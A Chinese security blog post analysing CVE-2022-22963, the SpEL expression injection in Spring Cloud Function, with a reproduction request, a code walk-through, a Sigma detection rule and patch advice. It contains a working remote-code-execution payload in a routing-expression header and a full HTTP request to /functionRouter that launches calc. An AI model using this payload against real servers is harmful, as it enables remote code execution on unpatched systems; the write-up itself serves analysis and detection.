ATT&CK-Spring cloud function spel表达式注入漏洞分析与利用
2023-4-18 00:56:21 Author: 白帽子(查看原文) 阅读量:24 收藏

STATEMENT

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测及文章作者不为此承担任何责任。

雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

前言

原理:
由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。
漏洞影响范围:
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

环境搭建

下载 Spring-cloud-function-Spel-rce 的漏洞环境,idea打开运行即可。
payload:

spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc.exe")

漏洞复现

POST /functionRouter HTTP/1.1Host: 192.168.80.141:8080spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("calc")Content-Length: 1Content-Type: application/x-www-form-urlencoded1

漏洞分析

首先,在FunctionController.java 第63行设置断点调试,

在文件

org.springframework.cloud.function.context.config.RoutingFunction中,请求进入到apply方法,接着调用了route方法,然后通过判断特定的消息头信息是否为空,如果不为空则调用functionFromExpression方法。

参数来自请求头中 spring.cloud.function.routing-expression 的值;

继续跟进functionFromExpression方法:

Expression expression = spelParser.parseExpression(routingExpression);if (input instanceof Message) {input = MessageUtils.toCaseInsensitiveHeadersStructure((Message) input);}String functionName = expression.getValue(this.evalContext, input, String.class);

在spring-expression-5.3.17-sources.jar下,

\org\springframework\expression\spel\standard\SpelExpression.java文件中,因调用到了SpEL对routingExpression进行解析,从而导致了SpEL表达式注入;

ExpressionState expressionState = new ExpressionState(context, toTypedValue(rootObject), this.configuration);TypedValue typedResultValue = this.ast.getTypedValue(expressionState);checkCompile(expressionState);return ExpressionUtils.convertTypedValue(context, typedResultValue, expectedResultType);

Spring cloud function spel表达式注入漏洞与Spring cloud gateway漏洞对比

spring cloud funtion spel 表达式注入:

Spring cloud gateway 表达式注入:

对比发现,都是因为调用SpelExpression调用,才导致远程代码执行漏洞的产生。
spring cloud funtion spel 调用方式:

Expression expression = spelParser.parseExpression(routingExpression);if (input instanceof Message) {input = MessageUtils.toCaseInsensitiveHeadersStructure((Message) input);}String functionName = expression.getValue(this.evalContext, input, String.class);

Spring cloud gateway的调用方法:

StandardEvaluationContext context = new StandardEvaluationContext();context.setBeanResolver(new BeanFactoryResolver(beanFactory));Expression expression = parser.parseExpression(entryValue, new TemplateParserContext());value = expression.getValue(context);

相同点:都是通过expression.getValue方法调用;
不同点:spring cloud function spel是通过spelParser调用parseExpression方法,而Spring cloud gateway通过SpelExceptionParse调用parseExpression方法。

检测规则

Sigma检测规则如下:

title: Spring Cloud Function Spel(CVE-2022-22963)表达式注入漏洞description: 检测Spring Cloud Function Spel(CVE-2022-22963)表达式注入漏洞status: testdate: 2022/05/29author: xiaohailogsource:category: webserverdetection:keywords:- 'spring.cloud.function.routing-expression'- 'T(org.springframework.cglib.core.ReflectUtils).defineClass'- 'T(java.lang.Runtime).getRuntime().exec'condition: keywordstags:- attack.t1190- attack.initial_access- cve.2022.22963level: Critical

缓解措施

目前Spring Cloud Function官方已发布此漏洞的补丁,建议相关用户尽快应用补丁进行防护;
更新到最新版本,链接:https://github.com/spring-cloud/spring-cloud-function/tags;

参考链接

https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response/
https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE
https://www.anquanke.com/post/id/271167
https://www.cnblogs.com/wh4am1/p/16062306.html
https://forum.butian.net/share/1436

安恒信息

杭州亚运会网络安全服务官方合作伙伴

成都大运会网络信息安全类官方赞助商

武汉军运会、北京一带一路峰会

青岛上合峰会、上海进博会

厦门金砖峰会、G20杭州峰会

支撑单位北京奥运会等近百场国家级

重大活动网络安保支撑单位

END

长按识别二维码关注我们


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246640&idx=1&sn=b696bf45eb9b789cf98652dc08bac17a&chksm=82ea5659b59ddf4fd090bc39a6a3995f68ab183e1f6cc9e1b7a3e61e2f2cc94459506be69f0e#rd
如有侵权请联系:admin#unsafe.sh